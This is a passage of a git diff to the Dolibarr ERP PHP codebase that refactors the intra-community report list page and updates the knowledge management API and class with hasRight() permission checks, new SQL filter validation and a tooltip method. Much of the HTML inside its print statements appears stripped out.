      '; print dol_get_fiche_end(); } diff --git a/htdocs/intracommreport/class/intracommreport.class.php b/htdocs/intracommreport/class/intracommreport.class.php index 18e6e0ecc84..88788f7070e 100644 --- a/htdocs/intracommreport/class/intracommreport.class.php +++ b/htdocs/intracommreport/class/intracommreport.class.php @@ -47,17 +47,29 @@ class IntracommReport extends CommonObject */ public $fk_element = 'fk_intracommreport'; - /** - * @var string declaration number - */ - public $declaration_number; - /** * 0 = No test on entity, 1 = Test with field entity, 2 = Test with link by societe * @var int */ public $ismultientitymanaged = 1; + public $picto = 'intracommreport'; + + + public $label; // ref ??? + + public $period; + + public $declaration; + + /** + * @var string declaration number + */ + public $declaration_number; + + public $type_declaration; // deb or des + + /** * DEB - Product */ @@ -73,6 +85,7 @@ class IntracommReport extends CommonObject 'expedition'=>'Expédition' ); + /** * Constructor * diff --git a/htdocs/intracommreport/list.php b/htdocs/intracommreport/list.php index 721ad15a2ce..d7995ef275b 100644 --- a/htdocs/intracommreport/list.php +++ b/htdocs/intracommreport/list.php @@ -150,13 +150,17 @@ if ($search_type == '0') { $result = restrictedArea($user, 'produit|service', '', '', '', '', '', 0); } +$permissiontoread = $user->rights->intracommreport->read; +$permissiontodelete = $user->rights->intracommreport->delete; + /* * Actions */ if (GETPOST('cancel', 'alpha')) { - $action = 'list'; $massaction = ''; + $action = 'list'; + $massaction = ''; } if (!GETPOST('confirmmassaction', 'alpha') && $massaction != 'presend' && $massaction != 'confirm_presend') { $massaction = ''; @@ -192,8 +196,6 @@ if (empty($reshook)) { $objectlabel = 'Products'; } - $permtoread = $user->rights->produit->lire; - $permtodelete = $user->rights->produit->supprimer; $uploaddir = $conf->product->dir_output; include DOL_DOCUMENT_ROOT.'/core/actions_massactions.inc.php'; } @@ -207,25 +209,26 @@ $formother = new FormOther($db); $title = $langs->trans('IntracommReportList'.$type); -$sql = 'SELECT DISTINCT i.rowid, i.type_declaration, i.type_export, i.periods, i.mode, i.entity'; +$sql = 'SELECT i.rowid, i.type_declaration, i.type_export, i.periods, i.mode, i.entity'; + /* // Add fields from extrafields if (!empty($extrafields->attributes[$object->table_element]['label'])) { foreach ($extrafields->attributes[$object->table_element]['label'] as $key => $val) $sql.=($extrafields->attributes[$object->table_element]['type'][$key] != 'separate' ? ", ef.".$key." as options_".$key : ''); } */ - // Add fields from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; +$sql = preg_replace('/,\s*$/', '', $sql); +$sql .= $hookmanager->resPrint; + +$sqlfields = $sql; $sql .= ' FROM '.MAIN_DB_PREFIX.'intracommreport as i'; - // if (isset($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) $sql.= " LEFT JOIN ".MAIN_DB_PREFIX."intracommreport_extrafields as ef on (i.rowid = ef.fk_object)"; - $sql .= ' WHERE i.entity IN ('.getEntity('intracommreport').')'; - if ($sall) { $sql .= natural_search(array_keys($fieldstosearchall), $sall); } @@ -270,281 +273,315 @@ $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldSelect', $parameters); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; -$sql .= $db->order($sortfield, $sortorder); +// Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - $result = $db->query($sql); - $nbtotalofrecords = $db->num_rows($result); + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } + $db->free($resql); } -$sql .= $db->plimit($limit + 1, $offset); +// Complete request and execute it with limit +$sql .= $db->order($sortfield, $sortorder); +if ($limit) { + $sql .= $db->plimit($limit + 1, $offset); +} $resql = $db->query($sql); +if (!$resql) { + dol_print_error($db); + exit; +} -if ($resql) { - $num = $db->num_rows($resql); +$num = $db->num_rows($resql); - $arrayofselected = is_array($toselect) ? $toselect : array(); +$helpurl = 'EN:Module_IntracommReport|FR:Module_ProDouane'; +llxHeader('', $title, $helpurl, ''); - $helpurl = 'EN:Module_IntracommReport|FR:Module_ProDouane'; - llxHeader('', $title, $helpurl, ''); +// Displays product removal confirmation +if (GETPOST('delreport')) { + setEventMessages($langs->trans("IntracommReportDeleted", GETPOST('delreport')), null, 'mesgs'); +} - // Displays product removal confirmation - if (GETPOST('delreport')) { - setEventMessages($langs->trans("IntracommReportDeleted", GETPOST('delreport')), null, 'mesgs'); - } +$arrayofselected = is_array($toselect) ? $toselect : array(); - $param = ''; - if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { - $param .= '&contextpage='.urlencode($contextpage); - } - if ($limit > 0 && $limit != $conf->liste_limit) { - $param .= '&limit='.urlencode($limit); - } - if ($sall) { - $param .= "&sall=".urlencode($sall); - } - if ($search_ref) { - $param = "&search_ref=".urlencode($search_ref); - } - if ($search_label) { - $param .= "&search_label=".urlencode($search_label); - } +$param = ''; +if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); +} +if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { + $param .= '&contextpage='.urlencode($contextpage); +} +if ($limit > 0 && $limit != $conf->liste_limit) { + $param .= '&limit='.urlencode($limit); +} +if ($sall) { + $param .= "&sall=".urlencode($sall); +} +if ($search_ref) { + $param = "&search_ref=".urlencode($search_ref); +} +if ($search_label) { + $param .= "&search_label=".urlencode($search_label); +} +if ($optioncss != '') { + $param .= '&optioncss='.urlencode($optioncss); +} +// Add $param from extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_param.tpl.php'; +// Add $param from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListSearchParam', $parameters, $object); // Note that $action and $object may have been modified by hook +$param .= $hookmanager->resPrint; - // Add $param from extra fields - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_param.tpl.php'; +// List of mass actions available +$arrayofmassactions = array( + 'generate_doc'=>img_picto('', 'pdf', 'class="pictofixedwidth"').$langs->trans("ReGeneratePDF"), + //'builddoc'=>$langs->trans("PDFMerge"), + //'presend'=>$langs->trans("SendByMail"), +); +if (!empty($permissiontodelete)) { + $arrayofmassactions['predelete'] = img_picto('', 'delete', 'class="pictofixedwidth"').$langs->trans("Delete"); +} +if (in_array($massaction, array('presend', 'predelete'))) { + $arrayofmassactions = array(); +} +$massactionbutton = $form->selectMassAction('', $arrayofmassactions); - // List of mass actions available - $arrayofmassactions = array( - 'generate_doc'=>img_picto('', 'pdf', 'class="pictofixedwidth"').$langs->trans("ReGeneratePDF"), - //'builddoc'=>$langs->trans("PDFMerge"), - //'presend'=>$langs->trans("SendByMail"), - ); - if ($user->rights->intracommreport->delete) { - $arrayofmassactions['predelete'] = img_picto('', 'delete', 'class="pictofixedwidth"').$langs->trans("Delete"); - } - if (in_array($massaction, array('presend', 'predelete'))) { - $arrayofmassactions = array(); - } - $massactionbutton = $form->selectMassAction('', $arrayofmassactions); +$newcardbutton = ''; +if ($user->rights->intracommreport->write) { + $newcardbutton .= dolGetButtonTitle($langs->trans("NewDeclaration"), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/intracommreport/card.php?action=create&type='.$type); +} - $newcardbutton = ''; - if ($user->rights->intracommreport->write) { - $newcardbutton .= dolGetButtonTitle($langs->trans("NewDeclaration"), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/intracommreport/card.php?action=create&type='.$type); - } +print '
      '; +if ($optioncss != '') { + print ''; +} +print ''; +print ''; +print ''; +print ''; +print ''; +print ''; +print ''; +if (empty($arrayfields['i.fk_product_type']['checked'])) { + print ''; +} - print ''; - if ($optioncss != '') { - print ''; - } - print ''; - print ''; - print ''; - print ''; - print ''; - print ''; - print ''; - if (empty($arrayfields['i.fk_product_type']['checked'])) { - print ''; - } +print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'intracommreport', 0, $newcardbutton, '', $limit); - print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'intracommreport', 0, $newcardbutton, '', $limit); +$topicmail = "Information"; +$modelmail = "product"; +$objecttmp = new IntracommReport($db); +$trackid = 'prod'.$object->id; +include DOL_DOCUMENT_ROOT.'/core/tpl/massactions_pre.tpl.php'; - $topicmail = "Information"; - $modelmail = "product"; - $objecttmp = new IntracommReport($db); - $trackid = 'prod'.$object->id; - include DOL_DOCUMENT_ROOT.'/core/tpl/massactions_pre.tpl.php'; +if ($sall) { + foreach ($fieldstosearchall as $key => $val) { + $fieldstosearchall[$key] = $langs->trans($val); + } + print '
      '.$langs->trans("FilterOnInto", $sall).join(', ', $fieldstosearchall).'
      '; +} - if ($sall) { - foreach ($fieldstosearchall as $key => $val) { - $fieldstosearchall[$key] = $langs->trans($val); - } - print '
      '.$langs->trans("FilterOnInto", $sall).join(', ', $fieldstosearchall).'
      '; - } +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldPreListTitle', $parameters); // Note that $action and $object may have been modified by hook +if (empty($reshook)) { + $moreforfilter .= $hookmanager->resPrint; +} else { + $moreforfilter = $hookmanager->resPrint; +} - $parameters = array(); - $reshook = $hookmanager->executeHooks('printFieldPreListTitle', $parameters); // Note that $action and $object may have been modified by hook - if (empty($reshook)) { - $moreforfilter .= $hookmanager->resPrint; - } else { - $moreforfilter = $hookmanager->resPrint; - } +if ($moreforfilter) { + print '
      '; + print $moreforfilter; + print '
      '; +} - if ($moreforfilter) { - print '
      '; - print $moreforfilter; - print '
      '; - } +$varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields +if ($massactionbutton) { + $selectedfields .= $form->showCheckAddButtons('checkforselect', 1); +} - $varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; - $selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields - if ($massactionbutton) { - $selectedfields .= $form->showCheckAddButtons('checkforselect', 1); - } +print '
      '; +print ''."\n"; - print '
      '; - print '
      '."\n"; - - // Lines with input filters - print ''; - if (!empty($arrayfields['i.ref']['checked'])) { - print ''; - } - if (!empty($arrayfields['i.label']['checked'])) { - print ''; - } - // Type - // Type (customer/prospect/supplier) - if (!empty($arrayfields['customerorsupplier']['checked'])) { - print ''; - } - - if (!empty($arrayfields['i.fk_product_type']['checked'])) { - print ''; - } - - /* - // Extra fields - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_input.tpl.php'; - */ - // Fields from hook - $parameters = array('arrayfields'=>$arrayfields); - $reshook = $hookmanager->executeHooks('printFieldListOption', $parameters); // Note that $action and $object may have been modified by hook - print $hookmanager->resPrint; - // Date creation - if (!empty($arrayfields['i.datec']['checked'])) { - print ''; - } - // Date modification - if (!empty($arrayfields['i.tms']['checked'])) { - print ''; - } - print ''; +if (!empty($arrayfields['i.ref']['checked'])) { + print ''; +} +if (!empty($arrayfields['i.label']['checked'])) { + print ''; +} +// Type +// Type (customer/prospect/supplier) +if (!empty($arrayfields['customerorsupplier']['checked'])) { + print ''; +} - print ''; +if (!empty($arrayfields['i.fk_product_type']['checked'])) { + print ''; +} - print ''; +/* +// Extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_input.tpl.php'; +*/ +// Fields from hook +$parameters = array('arrayfields'=>$arrayfields); +$reshook = $hookmanager->executeHooks('printFieldListOption', $parameters); // Note that $action and $object may have been modified by hook +print $hookmanager->resPrint; +// Date creation +if (!empty($arrayfields['i.datec']['checked'])) { + print ''; +} +// Date modification +if (!empty($arrayfields['i.tms']['checked'])) { + print ''; +} +print ''; + +print ''; + +print ''; +if (!empty($arrayfields['i.ref']['checked'])) { + print_liste_field_titre($arrayfields['i.ref']['label'], $_SERVER["PHP_SELF"], "i.ref", "", $param, "", $sortfield, $sortorder); +} +if (!empty($arrayfields['i.label']['checked'])) { + print_liste_field_titre($arrayfields['i.label']['label'], $_SERVER["PHP_SELF"], "i.label", "", $param, "", $sortfield, $sortorder); +} +if (!empty($arrayfields['i.fk_product_type']['checked'])) { + print_liste_field_titre($arrayfields['i.fk_product_type']['label'], $_SERVER["PHP_SELF"], "i.fk_product_type", "", $param, "", $sortfield, $sortorder); +} + +/* +// Extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_title.tpl.php'; +*/ +// Hook fields +$parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder); +$reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters); // Note that $action and $object may have been modified by hook +print $hookmanager->resPrint; +if (!empty($arrayfields['i.datec']['checked'])) { + print_liste_field_titre($arrayfields['i.datec']['label'], $_SERVER["PHP_SELF"], "i.datec", "", $param, '', $sortfield, $sortorder, 'center nowrap '); +} +if (!empty($arrayfields['i.tms']['checked'])) { + print_liste_field_titre($arrayfields['i.tms']['label'], $_SERVER["PHP_SELF"], "i.tms", "", $param, '', $sortfield, $sortorder, 'center nowrap '); +} + +print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); +print "\n"; + + +$intracommreport_static = new IntracommReport($db); + +$i = 0; +$totalarray = array(); +while ($i < min($num, $limit)) { + $obj = $db->fetch_object($resql); + + $intracommreport_static->id = $obj->rowid; + $intracommreport_static->ref = $obj->ref; + $intracommreport_static->ref_fourn = $obj->ref_supplier; + $intracommreport_static->label = $obj->label; + $intracommreport_static->type = $obj->fk_product_type; + $intracommreport_static->status_buy = $obj->tobuy; + $intracommreport_static->status = $obj->tosell; + $intracommreport_static->status_batch = $obj->tobatch; + $intracommreport_static->entity = $obj->entity; + + print ''; + + // Ref if (!empty($arrayfields['i.ref']['checked'])) { - print_liste_field_titre($arrayfields['i.ref']['label'], $_SERVER["PHP_SELF"], "i.ref", "", $param, "", $sortfield, $sortorder); - } - if (!empty($arrayfields['i.label']['checked'])) { - print_liste_field_titre($arrayfields['i.label']['label'], $_SERVER["PHP_SELF"], "i.label", "", $param, "", $sortfield, $sortorder); - } - if (!empty($arrayfields['i.fk_product_type']['checked'])) { - print_liste_field_titre($arrayfields['i.fk_product_type']['label'], $_SERVER["PHP_SELF"], "i.fk_product_type", "", $param, "", $sortfield, $sortorder); - } - - /* - // Extra fields - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_title.tpl.php'; - */ - // Hook fields - $parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder); - $reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters); // Note that $action and $object may have been modified by hook - print $hookmanager->resPrint; - if (!empty($arrayfields['i.datec']['checked'])) { - print_liste_field_titre($arrayfields['i.datec']['label'], $_SERVER["PHP_SELF"], "i.datec", "", $param, '', $sortfield, $sortorder, 'center nowrap '); - } - if (!empty($arrayfields['i.tms']['checked'])) { - print_liste_field_titre($arrayfields['i.tms']['label'], $_SERVER["PHP_SELF"], "i.tms", "", $param, '', $sortfield, $sortorder, 'center nowrap '); - } - - print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', '', $sortfield, $sortorder, 'center maxwidthsearch '); - print "\n"; - - - $intracommreport_static = new IntracommReport($db); - - $i = 0; - $totalarray = array(); - while ($i < min($num, $limit)) { - $obj = $db->fetch_object($resql); - - $intracommreport_static->id = $obj->rowid; - $intracommreport_static->ref = $obj->ref; - $intracommreport_static->ref_fourn = $obj->ref_supplier; - $intracommreport_static->label = $obj->label; - $intracommreport_static->type = $obj->fk_product_type; - $intracommreport_static->status_buy = $obj->tobuy; - $intracommreport_static->status = $obj->tosell; - $intracommreport_static->status_batch = $obj->tobatch; - $intracommreport_static->entity = $obj->entity; - - print ''; - - // Ref - if (!empty($arrayfields['i.ref']['checked'])) { - print '\n"; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Label - if (!empty($arrayfields['i.label']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Type - if (!empty($arrayfields['i.fk_product_type']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Action - print ''; + print '\n"; if (!$i) { $totalarray['nbfield']++; } - - print "\n"; - $i++; + } + // Label + if (!empty($arrayfields['i.label']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Type + if (!empty($arrayfields['i.fk_product_type']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Action + print ''; + if (!$i) { + $totalarray['nbfield']++; } - $db->free($resql); - - print "
      '; - print ''; - print ''; - print ''; - print ''; - if ($type != '') { - print ''; - } - print $formcompany->selectProspectCustomerType($search_type, 'search_type', 'search_type', 'list'); - print ''; - $array = array('-1'=>' ', '0'=>$langs->trans('Product'), '1'=>$langs->trans('Service')); - print $form->selectarray('search_type', $array, $search_type); - print ''; - print ''; - print ''; - $searchpicto = $form->showFilterButtons(); - print $searchpicto; +// Lines with input filters +print '
      '; + print ''; print ''; + print ''; + print ''; + if ($type != '') { + print ''; + } + print $formcompany->selectProspectCustomerType($search_type, 'search_type', 'search_type', 'list'); + print '
      '; + $array = array('-1'=>' ', '0'=>$langs->trans('Product'), '1'=>$langs->trans('Service')); + print $form->selectarray('search_type', $array, $search_type); + print '
      '; + print ''; + print ''; +$searchpicto = $form->showFilterButtons(); +print $searchpicto; +print '
      '; - print $intracommreport_static->getNomUrl(1); - print "'.dol_trunc($obj->label, 80).''.$obj->fk_product_type.''; - if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($obj->rowid, $arrayofselected)) { - $selected = 1; - } - print ''; - } - print ''; + print $intracommreport_static->getNomUrl(1); + print "
      '.dol_trunc($obj->label, 80).''.$obj->fk_product_type.''; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($obj->rowid, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print '
      "; - print "
      "; - print '
      '; -} else { - dol_print_error($db); + print "\n"; + $i++; } +// If no record found +if ($num == 0) { + $colspan = 1; + foreach ($arrayfields as $key => $val) { + if (!empty($val['checked'])) { + $colspan++; + } + } + print ''.$langs->trans("NoRecordFound").''; +} + +$db->free($resql); + +print ""; +print ""; +print ''; + // End of page llxFooter(); $db->close(); diff --git a/htdocs/knowledgemanagement/class/api_knowledgemanagement.class.php b/htdocs/knowledgemanagement/class/api_knowledgemanagement.class.php index ccf54b1d6d9..42b3ce9acd2 100644 --- a/htdocs/knowledgemanagement/class/api_knowledgemanagement.class.php +++ b/htdocs/knowledgemanagement/class/api_knowledgemanagement.class.php @@ -70,7 +70,7 @@ class KnowledgeManagement extends DolibarrApi */ public function get($id) { - if (!DolibarrApiAccess::$user->rights->knowledgemanagement->knowledgerecord->read) { + if (!DolibarrApiAccess::$user->hasRight('knowledgemanagement', 'knowledgerecord', 'read')) { throw new RestException(401); } @@ -114,7 +114,7 @@ class KnowledgeManagement extends DolibarrApi } if ($result < 0) { - throw new RestException(503, 'Error when retrieve category list : '.array_merge(array($categories->error), $categories->errors)); + throw new RestException(503, 'Error when retrieve category list : '.join(',', array_merge(array($categories->error), $categories->errors))); } return $result; @@ -144,7 +144,7 @@ class KnowledgeManagement extends DolibarrApi $obj_ret = array(); $tmpobject = new KnowledgeRecord($this->db); - if (!DolibarrApiAccess::$user->rights->knowledgemanagement->knowledgerecord->read) { + if (!DolibarrApiAccess::$user->hasRight('knowledgemanagement', 'knowledgerecord', 'read')) { throw new RestException(401); } @@ -199,11 +199,10 @@ class KnowledgeManagement extends DolibarrApi } if ($sqlfilters) { $errormessage = ''; - if (!DolibarrApi::_checkFilters($sqlfilters, $errormessage)) { - throw new RestException(503, 'Error when validating parameter sqlfilters -> '.$errormessage); + $sql .= forgeSQLFromUniversalSearchCriteria($sqlfilters, $errormessage); + if ($errormessage) { + throw new RestException(400, 'Error when validating parameter sqlfilters -> '.$errormessage); } - $regexstring = '\(([^:\'\(\)]+:[^:\'\(\)]+:[^\(\)]+)\)'; - $sql .= " AND (".preg_replace_callback('/'.$regexstring.'/', 'DolibarrApi::_forge_criteria_callback', $sqlfilters).")"; } $sql .= $this->db->order($sortfield, $sortorder); @@ -249,7 +248,7 @@ class KnowledgeManagement extends DolibarrApi */ public function post($request_data = null) { - if (!DolibarrApiAccess::$user->rights->knowledgemanagement->knowledgerecord->write) { + if (!DolibarrApiAccess::$user->hasRight('knowledgemanagement', 'knowledgerecord', 'write')) { throw new RestException(401); } @@ -282,7 +281,7 @@ class KnowledgeManagement extends DolibarrApi */ public function put($id, $request_data = null) { - if (!DolibarrApiAccess::$user->rights->knowledgemanagement->knowledgerecord->write) { + if (!DolibarrApiAccess::$user->hasRight('knowledgemanagement', 'knowledgerecord', 'write')) { throw new RestException(401); } @@ -324,7 +323,7 @@ class KnowledgeManagement extends DolibarrApi */ public function delete($id) { - if (!DolibarrApiAccess::$user->rights->knowledgemanagement->knowledgerecord->delete) { + if (!DolibarrApiAccess::$user->hasRight('knowledgemanagement', 'knowledgerecord', 'delete')) { throw new RestException(401); } $result = $this->knowledgerecord->fetch($id); diff --git a/htdocs/knowledgemanagement/class/knowledgerecord.class.php b/htdocs/knowledgemanagement/class/knowledgerecord.class.php index fee18df2478..08df6d37f0f 100644 --- a/htdocs/knowledgemanagement/class/knowledgerecord.class.php +++ b/htdocs/knowledgemanagement/class/knowledgerecord.class.php @@ -103,7 +103,7 @@ class KnowledgeRecord extends CommonObject 'rowid' => array('type'=>'integer', 'label'=>'TechnicalID', 'enabled'=>'1', 'position'=>1, 'notnull'=>1, 'visible'=>0, 'noteditable'=>'1', 'index'=>1, 'css'=>'left', 'comment'=>"Id"), 'ref' => array('type'=>'varchar(128)', 'label'=>'Ref', 'enabled'=>'1', 'position'=>10, 'notnull'=>1, 'default'=>'(PROV)', 'visible'=>5, 'index'=>1, 'searchall'=>1, 'comment'=>"Reference of object", "csslist"=>"nowraponall", "showoncombobox"=>1), 'entity' =>array('type'=>'integer', 'label'=>'Entity', 'default'=>1, 'enabled'=>1, 'visible'=>0, 'notnull'=>1, 'position'=>20, 'index'=>1), - 'question' => array('type'=>'text', 'label'=>'Question', 'enabled'=>'1', 'position'=>30, 'notnull'=>1, 'visible'=>1, 'csslist'=>'tdoverflowmax300', 'copytoclipboard'=>1, 'tdcss'=>'titlefieldcreate nowraponall'), + 'question' => array('type'=>'text', 'label'=>'Question', 'enabled'=>'1', 'position'=>30, 'notnull'=>1, 'visible'=>1, 'searchall'=>1, 'csslist'=>'tdoverflowmax300', 'copytoclipboard'=>1, 'tdcss'=>'titlefieldcreate nowraponall'), 'lang' => array('type'=>'varchar(6)', 'label'=>'Language', 'enabled'=>'1', 'position'=>40, 'notnull'=>0, 'visible'=>1, 'tdcss'=>'titlefieldcreate nowraponall', "csslist"=>"tdoverflowmax100"), 'date_creation' => array('type'=>'datetime', 'label'=>'DateCreation', 'enabled'=>'1', 'position'=>500, 'notnull'=>1, 'visible'=>-2,), 'tms' => array('type'=>'timestamp', 'label'=>'DateModification', 'enabled'=>'1', 'position'=>501, 'notnull'=>0, 'visible'=>2,), @@ -115,7 +115,7 @@ class KnowledgeRecord extends CommonObject 'model_pdf' => array('type'=>'varchar(255)', 'label'=>'Model pdf', 'enabled'=>'1', 'position'=>1010, 'notnull'=>-1, 'visible'=>0,), //'url' => array('type'=>'varchar(255)', 'label'=>'URL', 'enabled'=>'1', 'position'=>55, 'notnull'=>0, 'visible'=>-1, 'csslist'=>'tdoverflow200', 'help'=>'UrlForInfoPage'), 'fk_c_ticket_category' => array('type'=>'integer:CTicketCategory:ticket/class/cticketcategory.class.php:0:(t.active:=:1):pos', 'label'=>'SuggestedForTicketsInGroup', 'enabled'=>'isModEnabled("ticket")', 'position'=>520, 'notnull'=>0, 'visible'=>-1, 'help'=>'YouCanLinkArticleToATicketCategory', 'csslist'=>'minwidth200 tdoverflowmax250'), - 'answer' => array('type'=>'html', 'label'=>'Solution', 'enabled'=>'1', 'position'=>600, 'notnull'=>0, 'visible'=>3, 'csslist'=>'tdoverflowmax300', 'copytoclipboard'=>1, 'tdcss'=>'titlefieldcreate nowraponall'), + 'answer' => array('type'=>'html', 'label'=>'Solution', 'enabled'=>'1', 'position'=>600, 'notnull'=>0, 'visible'=>3, 'searchall'=>1, 'csslist'=>'tdoverflowmax300', 'copytoclipboard'=>1, 'tdcss'=>'titlefieldcreate nowraponall'), 'status' => array('type'=>'integer', 'label'=>'Status', 'enabled'=>'1', 'position'=>1000, 'notnull'=>1, 'visible'=>5, 'default'=>0, 'index'=>1, 'arrayofkeyval'=>array('0'=>'Draft', '1'=>'Validated', '9'=>'Obsolete'),), ); public $rowid; @@ -129,7 +129,15 @@ class KnowledgeRecord extends CommonObject public $fk_user_valid; public $import_key; public $model_pdf; + + /** + * @var string question asked + */ public $question; + + /** + * @var string answer to question + */ public $answer; public $url; public $status; @@ -192,7 +200,7 @@ class KnowledgeRecord extends CommonObject } // Example to show how to set values of fields definition dynamically - /*if ($user->rights->knowledgemanagement->knowledgerecord->read) { + /*if ($user->hasRight('knowledgemanagement', 'knowledgerecord', 'read')) { $this->fields['myfield']['visible'] = 1; $this->fields['myfield']['noteditable'] = 0; }*/ @@ -265,8 +273,8 @@ class KnowledgeRecord extends CommonObject if (property_exists($object, 'ref')) { $object->ref = empty($this->fields['ref']['default']) ? "Copy_Of_".$object->ref : $this->fields['ref']['default']; } - if (property_exists($object, 'label')) { - $object->label = empty($this->fields['label']['default']) ? $langs->trans("CopyOf")." ".$object->label : $this->fields['label']['default']; + if (property_exists($object, 'question')) { + $object->question = empty($this->fields['question']['default']) ? $langs->trans("CopyOf")." ".$object->question : $this->fields['question']['default']; } if (property_exists($object, 'status')) { $object->status = self::STATUS_DRAFT; @@ -381,7 +389,7 @@ class KnowledgeRecord extends CommonObject $sql .= $this->getFieldList('t'); $sql .= ' FROM '.MAIN_DB_PREFIX.$this->table_element.' as t'; if (isset($this->ismultientitymanaged) && $this->ismultientitymanaged == 1) { - $sql .= ' WHERE t.entity IN ('.getEntity($this->table_element).')'; + $sql .= ' WHERE t.entity IN ('.getEntity($this->element).')'; } else { $sql .= ' WHERE 1 = 1'; } @@ -530,7 +538,7 @@ class KnowledgeRecord extends CommonObject return 0; } - /*if (! ((empty($conf->global->MAIN_USE_ADVANCED_PERMS) && !empty($user->rights->knowledgemanagement->knowledgerecord->write)) + /*if (! ((empty($conf->global->MAIN_USE_ADVANCED_PERMS) && $user->hasRight('knowledgemanagement', 'knowledgerecord', 'write')) || (!empty($conf->global->MAIN_USE_ADVANCED_PERMS) && !empty($user->rights->knowledgemanagement->knowledgerecord->knowledgerecord_advance->validate)))) { $this->error='NotEnoughPermissions'; @@ -706,6 +714,40 @@ class KnowledgeRecord extends CommonObject return $this->setStatusCommon($user, self::STATUS_VALIDATED, $notrigger, 'KNOWLEDGERECORD_REOPEN'); } + /** + * getTooltipContentArray + * + * @param array $params ex option, infologin + * @since v18 + * @return array + */ + public function getTooltipContentArray($params) + { + global $conf, $langs; + + $langs->loadLangs(['knowledgemanagement', 'languages']); + + $datas = array(); + $nofetch = !empty($params['nofetch']); + + $datas['picto'] = img_picto('', $this->picto).' '.$langs->trans("KnowledgeRecord").''; + if (isset($this->statut)) { + $datas['picto'] .= ' '.$this->getLibStatut(5); + } + $datas['label'] = '
      '.$langs->trans('Ref').': '.$this->ref; + $datas['question'] = '
      '.$langs->trans('Question').': '.$this->question; + $labellang = ($this->lang ? $langs->trans('Language_'.$this->lang) : ''); + $datas['lang'] = '
      '.$langs->trans('Language').': ' . picto_from_langcode($this->lang, 'class="paddingrightonly saturatemedium opacitylow"') . $labellang; + // show categories for this record only in ajax to not overload lists + if (isModEnabled('categorie') && !$nofetch) { + require_once DOL_DOCUMENT_ROOT . '/categories/class/categorie.class.php'; + $form = new Form($this->db); + $datas['categories'] = '
      ' . $form->showCategories($this->id, Categorie::TYPE_KNOWLEDGEMANAGEMENT, 1); + } + + return $datas; + } + /** * Return a link to the object card (with optionaly the picto) * @@ -726,12 +768,21 @@ class KnowledgeRecord extends CommonObject $result = ''; - $label = img_picto('', $this->picto).' '.$langs->trans("KnowledgeRecord").''; - if (isset($this->status)) { - $label .= ' '.$this->getLibStatut(5); + $params = [ + 'id' => $this->id, + 'objecttype' => $this->element.($this->module ? '@'.$this->module : ''), + 'option' => $option, + 'nofetch' => 1, + ]; + $classfortooltip = 'classfortooltip'; + $dataparams = ''; + if (getDolGlobalInt('MAIN_ENABLE_AJAX_TOOLTIP')) { + $classfortooltip = 'classforajaxtooltip'; + $dataparams = ' data-params="'.dol_escape_htmltag(json_encode($params)).'"'; + $label = ''; + } else { + $label = implode($this->getTooltipContentArray($params)); } - $label .= '
